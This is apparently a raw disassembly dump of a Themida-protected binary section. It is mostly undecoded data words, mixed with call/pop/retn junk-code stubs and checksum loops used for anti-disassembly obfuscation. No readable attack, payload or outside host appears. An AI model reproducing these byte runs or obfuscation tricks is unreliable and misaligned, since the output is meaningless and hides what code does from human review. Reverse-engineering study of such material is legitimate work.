dd 4247C89h, 4244481h, 14h, 3BC35747h, 5E9h, 0CCF69B00h
dd 1CE9C411h, 0FC000000h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 6990C356h, 895F7102h
dd 8B8D6074h, 59D8BFAh, 6A061317h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 76E3C350h
dd 0F94CB1F6h, 3055BD83h, 0F030613h, 50C85h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 9412FB49h, 8B6646A7h, 959529F8h, 83061305h, 16C454BDh
dd 840F0006h, 4D5h, 10E9h, 360A3800h, 0F761A067h, 8BE18A6Ch
dd 0AC95237Eh, 54B5FF0Bh, 6A0616C4h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 6F88C353h
dd 0B3565981h, 8D295F18h, 6130919h, 96995FFh, 6A0613h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 6A7C10C3h, 0D8ADA52Dh, 1C099D8Bh, 85090613h, 6130A01h
dd 0C448B58Bh, 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 0CDA2CBC3h, 9A6D4E6Bh, 8E0FB9C2h
dd 6, 1B1DBD89h, 6C70613h, 10001h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 81C35646h, 0D18589B7h, 96061325h
dd 50D88B66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 7A66F9C4h, 9379BA39h, 0E6CABB66h
dd 0B5FF6DB3h, 616C454h, 3CEEBB66h, 322995FFh, 89560613h
dd 13151985h, 0B58B5F06h, 616C448h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0C1C35141h, 5D859856h, 0C1E0AF59h
dd 1E819589h, 858B0613h, 6130631h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 42C35242h, 0CB81D2FFh, 4EA2497Eh
dd 8689DA8Bh, 0C4h, 8BF8BF0Fh, 131BBD95h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 8BCB06F5h, 133489BDh, 4C28306h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 24C35545h, 0C427192Ch, 8E0F7C97h
dd 6, 5FBB6651h, 50895BD9h, 52006A20h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 35BD2B2Eh
dd 8D061309h, 16D8E385h, 0EDBD2306h, 81061322h, 0EF6FDFEFh
dd 0B8868946h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0AB32C356h, 0FCC85E22h
dd 1D199D8Bh, 6A0613h, 0D19EEF81h, 0B5FF425Eh, 616C454h
dd 0FFDF8B66h, 131E9595h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 5D1E76BBh
dd 0CE8060A4h, 0E585890Eh, 61061320h, 12880F96h, 0E8000000h
dd 6, 9C24848Fh, 5250A9F2h, 585A310Fh, 0BF66505Fh, 6A964B4Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 1C4BC350h, 0FDA8B66h, 198Ah, 14E900h, 756E0000h
dd 7426501Dh, 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 0B5FFC61Bh
dd 616C454h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 0CFC35646h, 0FAEF8166h, 4595FF70h, 6A061321h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 9323C356h, 28002694h, 13E9B3h, 0C87C0000h, 6CBF646Dh
dd 0D6647E92h, 97541B94h, 7F298F0Ch, 95BD8322h, 61314h
dd 47840Fh, 0BD8B0000h, 6132201h, 57525096h, 70A8BB66h
dd 5A310F5Fh, 6A965058h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 6ECCC351h, 101E5394h
dd 2923B216h, 8E9h, 4949B500h, 1D8EE255h, 54B5FF7Bh, 6A0616C4h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 3A3BC352h, 553C4225h, 5E972C7h, 0E2000000h
dd 0FE84194Bh, 5AD95FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0FABCD8C3h, 0ADBD8B46h
dd 0FF061311h, 16C454B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 1D4EDB00h
dd 0EE3279BBh, 860F10D0h, 6, 11E58531h, 95FF0613h, 6131209h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 57C35141h
dd 1DD9D0Bh, 0BD830613h, 6130511h, 44840F02h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 56E3C350h, 8D9FBB7Ah, 8F0F1CB4h, 6, 15018509h
dd 858B0613h, 6130F55h, 0DA66CB81h, 0C65BE2h, 41BD8B00h
dd 0C7061321h, 131E5185h, 6, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66B679h
dd 0F314E9DAh, 8589FFFFh, 6130F01h, 6AC18Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5BB830C3h
dd 24273911h, 0FE84C11h, 41000000h, 0A0D377F5h, 7E39C65Dh
dd 6EC042C1h, 8B66A000h, 858D5BDEh, 6131EA9h, 66902EB3h
dd 501CDEBBh, 5820F52h, 0BF000000h, 18F06F17h, 6A905Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 6E3C8DC3h, 8166F88Bh, 6ABD33C3h, 0A5BF6600h, 66006A7Fh
dd 858DFE8Bh, 6175239h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0D1C35646h, 0A6A1E670h, 2EFE1E39h, 85BD8B3Eh
dd 8306130Eh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 2DDADC3h, 0B1DC605Dh, 8E9h, 0B5427400h
dd 0E4BF2C42h, 48950F3h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 46A6A4FDh, 6A006A4Dh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0A782C355h, 6A6814h, 8ABCBB66h, 87C78166h
dd 0F195FF19h, 6A061307h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 9D41C352h, 9E127515h
dd 8B718157h, 1324859Dh, 6A8D8D06h, 6A0616A3h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 0E2F2C352h, 60A34D55h, 0D1FF2BE2h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 56C35141h, 0CEC78144h, 83450363h
dd 13173DBDh, 850F0106h, 73h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 87C35343h, 0A03CBF34h, 26A7D6Ch
dd 5BF98B53h, 66525050h, 0F25E9BFh, 0DF8B6631h, 489585Ah
dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0BD1E565Fh, 898A12C9h, 131A0D85h, 33E38106h
dd 606EDD37h, 61F7B70Fh, 1E9595FFh, 0E9FC0613h, 0D6Eh
dd 0E8h, 0ED815D00h, 6175243h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 7CC35141h, 8DBD8B6Fh, 6A06132Ch
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 25E5C355h, 982FF8A3h, 0C07830F4h, 0FE860h
dd 75190000h, 2E7BA36Eh, 0DFF83371h, 79A00FC4h, 0F5FF559h
dd 8D61FFBFh, 168F5E85h, 8B0F6006h, 6, 34D5BD2Bh, 820F0613h
dd 1, 0F5061F5h, 1983h, 13E800h, 9BD0000h, 0BEBB3CE8h
dd 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 4895BD8h, 9D9D2324h
dd 64061325h, 35FFh, 81520000h, 39E733F7h, 11E85B4Ch, 47000000h
dd 9AC935B5h, 29B83E26h, 41457F82h, 0CA2C5F2Eh, 18F1B589h
dd 645B0613h, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0EF1DDAC3h, 0B4B3B77Dh
dd 0D985FF0Ah, 6A061316h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 8E7BC352h, 9D8BAAD4h
dd 6132841h, 0AF0FBB66h, 0B70FFF6Ah, 95B5FFF9h, 0BB06131Ah
dd 7B4C2B5Fh, 31AD95FFh, 24E90613h, 0F9000001h, 5AB700B0h
dd 800F70E6h, 18h, 13E9h, 2F268D00h, 0F6FBAD06h, 0B8617B6Ch
dd 0CDEC3E72h, 0D8A7085h, 0C38071E4h, 0F613C10h, 0F283h
dd 0AE900h, 0EADD0000h, 20BDFF13h, 257954D5h, 52C8B60Fh
dd 69E76BBBh, 6BA5F2Ah, 66000000h, 0BD8BFB8Bh, 6131689h
dd 0BABBC18Bh, 0C11B8E28h, 8E904E8h, 97000000h, 496705B5h
dd 66F3A68Bh, 860FE2F7h, 6, 2D0D9D2Bh, 0BF0F0613h, 0B7C82BF9h
dd 66D18BE0h, 0DF80D88Bh, 6E932h, 9D8B0000h, 613054Dh
dd 1095858Bh, 83F50613h, 0DF8107C0h, 776A09CAh, 3B00C083h
dd 0F830FD0h, 66000000h, 0E9CEFCBBh, 67h, 8747BFF9h, 8D8B1526h
dd 6131461h, 8D0F5B50h, 16h, 0CE8h, 16051A00h, 0EF93AC5Dh
dd 0ED1DA093h, 29BF6698h, 0E1835F4Dh, 34840F01h, 51000000h
dd 5E19529h, 835F0613h, 131461A5h, 9D0BFE06h, 6131675h
dd 10959589h, 880F0613h, 0Eh, 0E99D8B60h, 0F061330h, 8Fh
dd 0E96100h, 8D000000h, 16E639B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 1F769AB9h
dd 2369BD29h, 6A0613h, 6850Fh, 9D8B0000h, 6132D29h, 0DA995FFh
dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 77B5B9C3h, 0D381FA13h, 4B34AFE9h, 0DBEB9h
dd 0A99D8B00h, 83061311h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 0D20EEFC3h, 0D527205Fh
dd 6AFCFA8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 4675C353h, 0CD39C7D2h, 0C02BC270h
dd 0EE9h, 7F5FB700h, 0D099CD58h, 0CDCDC4D5h, 0BA2C2E3Ch
dd 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5C185F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C185F proc near ; CODE XREF: Themida_:005C1857p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5C185F endp
; ---------------------------------------------------------------------------
db 80h
; ---------------------------------------------------------------------------
or [ebp-4EC86D39h], esi
jmp loc_5C1880
; ---------------------------------------------------------------------------
db 11h
dd 0B1A1EBA0h
; ---------------------------------------------------------------------------
loc_5C1880: ; CODE XREF: Themida_:005C1876j
; Themida_:005C188Aj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5C1880
push 0
push ebp
call sub_5C1897
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1897 proc near ; CODE XREF: Themida_:005C188Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5C1897 endp
; ---------------------------------------------------------------------------
db 0EEh
dd 0D7B8ECDBh, 0AE839h, 2FF40000h, 863B23E4h, 5F6EB957h
dd 11BD9D2Bh, 895F0613h, 1328DDBDh, 0DDF8B06h, 88h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D0C35141h, 23395576h
dd 40DD8B7Eh, 8BF98B66h, 131BBD95h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A671CB0Bh
dd 0DB8195C9h, 73AD2E4Dh, 18DD8D8Bh, 850F0613h, 3, 50DF8B66h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 6E958h
dd 0A1730000h, 0A09DDAA9h, 13E9h, 0AA76BF00h, 0E2A1CA07h
dd 35FA25E2h, 825E818h, 4610EE72h, 3840Fh, 0BF0F0000h
dd 1DBD83D8h, 6131Dh, 6D840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0A365C2C3h
dd 3DD254B8h, 21399D89h, 0B80613h, 0E9000000h, 5, 0D39078E0h
dd 8D8D8DEBh, 8B06134Fh, 1301399Dh, 6AE1FF06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 854CC357h, 702E9899h, 61BD897Dh, 8306130Bh, 133055BDh
dd 840F0006h, 439h, 83FAB70Fh, 133055BDh, 840F0106h, 444h
dd 0A7DBD8Bh, 0BD830613h, 6133055h, 0FB860F03h, 81000003h
dd 8F262E3h, 6A6053h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0F95461C3h, 6AD98C66h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 2EFBC357h, 87ABFDF1h, 8B661893h, 199D33FBh, 8006131Ch
dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0AF4F71C3h, 5AF05386h, 0B4BF76DFh, 0A7018A8h
dd 15840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 11A7C353h, 29EAB36Dh
dd 0C099D8Bh, 0F1B30613h, 2BB9858Bh, 6A0613h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 246ABDC3h
dd 0B98533AAh, 6A061305h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 0BFC5C353h, 53230266h
dd 0D88B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 4FA9C351h, 0FC006AD7h
dd 48F93268h, 909ABF3Ah, 34813534h, 57FACD24h, 5BD8B3Ah
dd 66061324h, 0AA43CB81h, 0A3D95FFh, 85890613h, 616C454h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E2C35545h
dd 0BD8B805Dh, 61306FDh, 21FE9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 624A14B9h
dd 915A3A2Eh, 122ABB66h, 0C44C858Bh, 9D0B0616h, 61324ADh
dd 1800C7h, 870F0000h, 0Ch, 6800Fh, 0B5090000h, 613282Dh
dd 0C450B58Bh, 0BD310616h, 6133085h, 2A55858Bh, 6890613h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CEC35747h
dd 71BCE59Ah, 8BDD5EF1h, 132BB985h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E862D6CAh
dd 0Fh, 0E31BA175h, 274AA3EFh, 190CC9BFh, 31055847h, 1309898Dh
dd 46895F06h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 99D49363h, 8D895BE9h, 6131D59h, 0EE9h
dd 0C4E2FB00h, 0E004FD60h, 0C53ADBCCh, 96B95100h, 0BE857h
dd 73310000h, 8FC55391h, 0FEE006C8h, 12E978h, 0CB300000h
dd 6D6FA4A4h, 428362F1h, 0E3328CFAh, 42B54274h, 0BB505B5Fh
dd 433D6549h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0B70FEF43h, 4CB5FFDEh, 6A0616C4h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 10CDC352h, 1BABB1AFh, 0E8C5923Dh, 46AEBF66h
dd 0E143C968h, 815F522Bh, 40362434h, 6A2BFEh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0D69403C3h
dd 35FB5A44h, 8915393Fh, 1309E5B5h, 54858D06h, 6A0616C4h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 97FDC357h, 65AB2B3Fh, 10599D89h, 57500613h
dd 57296FBBh, 4895F68h, 0EDBD8B24h, 0FF06130Bh, 130A3D95h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 0BF0FD8CDh, 0CCE780DFh, 0E19D8B61h, 0C7061315h
dd 13305585h, 306h, 8B0F00h, 60000000h, 0BD8361F9h, 616C454h
dd 3F840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0FBA1C353h, 0DD25170Ah
dd 0E12A390Ah, 0CEBAB8BFh, 0BE666055h, 57B98ADDh, 6114D2B4h
dd 20E9h, 0D446BF00h, 305045E7h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 0EE9C0h, 34AD0000h
dd 7D47248Dh, 9FED1A9Fh, 43209B4Ah, 73C38166h, 55BD8375h
dd 3061330h, 3B5850Fh, 9D010000h, 6132425h, 5F9FB351h
dd 0C454BD83h, 0F000616h, 39E84h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 9C7326D9h
dd 4529B533h, 54B5FF4Bh, 6A0616C4h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 2740C351h
dd 836E95B5h, 5F52F7EEh, 6995FFF8h, 8B061309h, 1321A9BDh
dd 48B58B06h, 0F0616C4h, 6C7D9BFh, 10001h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CCC35242h, 0CA311FD1h
dd 0EF805AABh, 0D88B96ECh, 0FE850h, 6E620000h, 0A310B152h
dd 0E6733075h, 18FCA532h, 0F98B6609h, 6A965Bh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 275809C3h, 90C004DDh, 0FFE35F8Bh, 16C454B5h, 0FB8B6606h
dd 2995FFFCh, 0F061332h, 0B58BFABFh, 616C448h, 6C9ABF66h
dd 321D9D8Bh, 858B0613h, 6130631h, 5F5BD8Bh, 86890613h
dd 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 73C35747h, 0E658D89h, 958B0613h, 6131BBDh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EDC35747h, 958D37DEh
dd 0EF816676h, 0C2834413h, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0C3240901h
dd 2D0E5075h, 66205089h, 8DA434BFh, 16D8E385h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0EB9E7E6Ch, 16154457h, 59CF781h, 0BD893038h, 6132475h
dd 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0E4DCEC3h, 6A6840h, 0FFD8B70Fh
dd 16C454B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h
dd 0E76D5D31h, 2729BBAEh, 816676B0h, 0FFA7D9EBh, 131E9595h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 0FA269E53h, 964E1FA8h, 4FD23EBFh, 0B8605031h
dd 1A236D44h, 395BA66h, 10E99661h, 0C8000000h, 18F9AE72h
dd 0C6D21F5Ch, 1A81BEE0h, 0FF0E743Fh, 16C454B5h, 0FFDA8B06h
dd 13214595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0FFC8AE73h, 0F8B70F18h, 83EBC380h
dd 131495BDh, 840F0006h, 67h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 0CC35141h, 89368411h, 130B4D95h
dd 8A0F9606h, 0Ah, 0F525060h, 53585A31h, 6650615Bh, 6A96FA8Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0E616C355h, 95DDFEBFh, 2906A1C6h, 130D498Dh
dd 0FFDF8B06h, 16C454B5h, 6820F06h, 89000000h, 13135995h
dd 0AD95FF06h, 6A061305h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0CDF5C357h, 0B70F45B3h
dd 54B5FFDEh, 890616C4h, 13150195h, 995FF06h, 66061312h
dd 835626BBh, 130511BDh, 840F0206h, 23h, 3045BD8Bh, 858B0613h
dd 6130F55h, 11158D09h, 0C60613h, 0B5896000h, 6133485h
dd 23698D8Bh, 0C7610613h, 131E5185h, 6, 48A0F00h, 50000000h
dd 0E95FFE8Ah, 0FFFFF3F8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0F9C35747h, 80A2C494h, 0A8222A7h, 0BBC18BF9h
dd 6DDEBCC4h, 858DFA8Bh, 6131EA9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0DAC35646h, 24048950h, 6AD88Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EFC35242h
dd 0C1A67907h, 0F460C5DAh, 0C113BB58h, 816642D4h, 6ADFB8F7h
dd 90858D00h, 0E9061761h, 0Dh, 52CBD6C5h, 0CA55E1ECh, 0B797E517h
dd 0E5C781EDh, 832D7539h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 8B4DF9C3h, 131081BDh
dd 0BB665006h, 489F57Bh, 859D8B24h, 6A061313h, 10E900h
dd 0C72B0000h, 606A9178h, 70B66C63h, 16A764D5h, 6A28CFh
dd 8BFB8B66h, 1309EDBDh, 0F195FF06h, 6A061307h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 57E2C355h, 0F26B7F5h, 68Fh, 9D9D0100h, 8D06130Eh, 16A36A8Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0F7B282BAh, 0FF423107h, 0C800FD1h, 0F000000h
dd 689h, 0E99D8B00h, 8A061331h, 3DBD83DEh, 1061317h, 98850Fh
dd 81660000h, 6AE983DBh, 51006A02h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 3B77ED22h, 8942253Ah
dd 133521B5h, 9B58906h, 9006130Fh, 6E9h, 917CAD00h, 50662F06h
dd 1509BF66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 0A69A49C4h, 61F8D5ECh, 3E0993BBh
dd 9595FF18h, 6A06131Eh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 1C23C351h, 20D18D29h
dd 49E90613h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 617619Ah
push 0
push eax
call sub_5C2476
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2476 proc near ; CODE XREF: Themida_:005C246Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5C2476 endp
; ---------------------------------------------------------------------------
dec ebp
pushf
lds ecx, [ebx+132851BDh]
push es
push 0
push edx
call sub_5C249A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C249A proc near ; CODE XREF: Themida_:005C2492p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C249A endp
; ---------------------------------------------------------------------------
dw 0BCEEh
; ---------------------------------------------------------------------------
mov al, 42h
sbb ebp, ebp
fmul qword ptr [ebx-4A42F422h]
or [ebx], edx
push es
lea eax, [ebp+6168F5Eh]
push 0
push esi
call sub_5C24CA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C24CA proc near ; CODE XREF: Themida_:005C24C2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5C24CA endp
; ---------------------------------------------------------------------------
dw 2665h
dd 0C1EC32B7h, 0CB8CE920h, 8B575190h, 505B5BD9h, 0EBF6690h
dd 35FF6424h, 0
; ---------------------------------------------------------------------------
mov [ebp+61316C5h], ebx
mov large fs:0, esp
or [ebp+61306E9h], ecx
inc dword ptr [ebp+61316D9h]
mov edi, ecx
loc_5C2513: ; CODE XREF: Themida_:005C329Dj
push 0FFFFFFFFh
push 0
push eax
call sub_5C2520
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2520 proc near ; CODE XREF: Themida_:005C2518p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5C2520 endp
; ---------------------------------------------------------------------------
dd 0F2262692h, 29BD973Bh, 131CB99Dh, 31B5FF06h, 6A061328h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 29D0C355h, 0FCF7712Ah, 0BD891A72h, 61329A1h
dd 31AD95FFh, 30E90613h, 31000001h, 13109DBDh, 2300B006h
dd 1317119Dh, 8070E606h, 71E456F7h, 0CE853h, 6BE40000h
dd 0C53638C7h, 4396E534h, 8D29333Eh, 6132B89h, 613C5B5Bh
dd 0F9830Fh, 9D8B0000h, 6130015h, 60C8B60Fh, 0B5507EBBh
dd 0ADBD8B45h, 6106131Dh, 6BAh, 5B52900h, 0E8061312h, 14h
dd 0A8C02CDDh, 553DC445h, 0DAB13CBEh, 70AC4C15h, 8BBC174Bh
dd 209DBD8Bh, 8B5B0613h, 598589C1h, 0C106130Fh, 0C38104E8h
dd 1F884C28h, 89E2F766h, 1305C9BDh, 66C82B06h, 55BDDF81h
dd 6E9D18Bh, 6D000000h, 890B0153h, 0E928h, 858B0000h, 613189Dh
dd 521F9DBBh, 7C08367h, 1BEFBB66h, 19850Fh, 11E80000h
dd 6E000000h, 76BCF434h, 6F68EB99h, 2E8C36E1h, 42BB70BCh
dd 835BF98Bh, 0DE8B00C0h, 830FD03Bh, 14h, 41E9F9h, 0BD8B0000h
dd 6131E15h, 419D8B51h, 5F061300h, 9CD8D8Bh, 0FA8B0613h
dd 0F01E183h, 2284h, 0D1952900h, 83061322h, 1309CDA5h
dd 0BF66FE06h, 95890E90h, 613189Dh, 1F159501h, 0E90613h
dd 8D000000h, 16F5D4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 1170B245h, 998D13E0h
dd 6A006A10h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0FFC8C357h, 130DA995h, 6810F06h
dd 31000000h, 131059B5h, 8B4B906h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0B5A61C3h
dd 131391BDh, 0FCE18306h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 7C35040h, 4977BBE3h, 0A79412FBh, 0DFBF0F46h
dd 0CE9h, 39F8BD00h, 0C29CD4A8h, 247DCA1Bh, 0FCD98BF7h
dd 92F38166h, 0B835h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 3948F1C3h, 4860F58h
dd 66000000h, 2BC715BBh, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 66E7900Ch, 1DD2E781h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 47C35747h, 66004812h, 667FE9BFh
dd 0D2866BFh, 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h
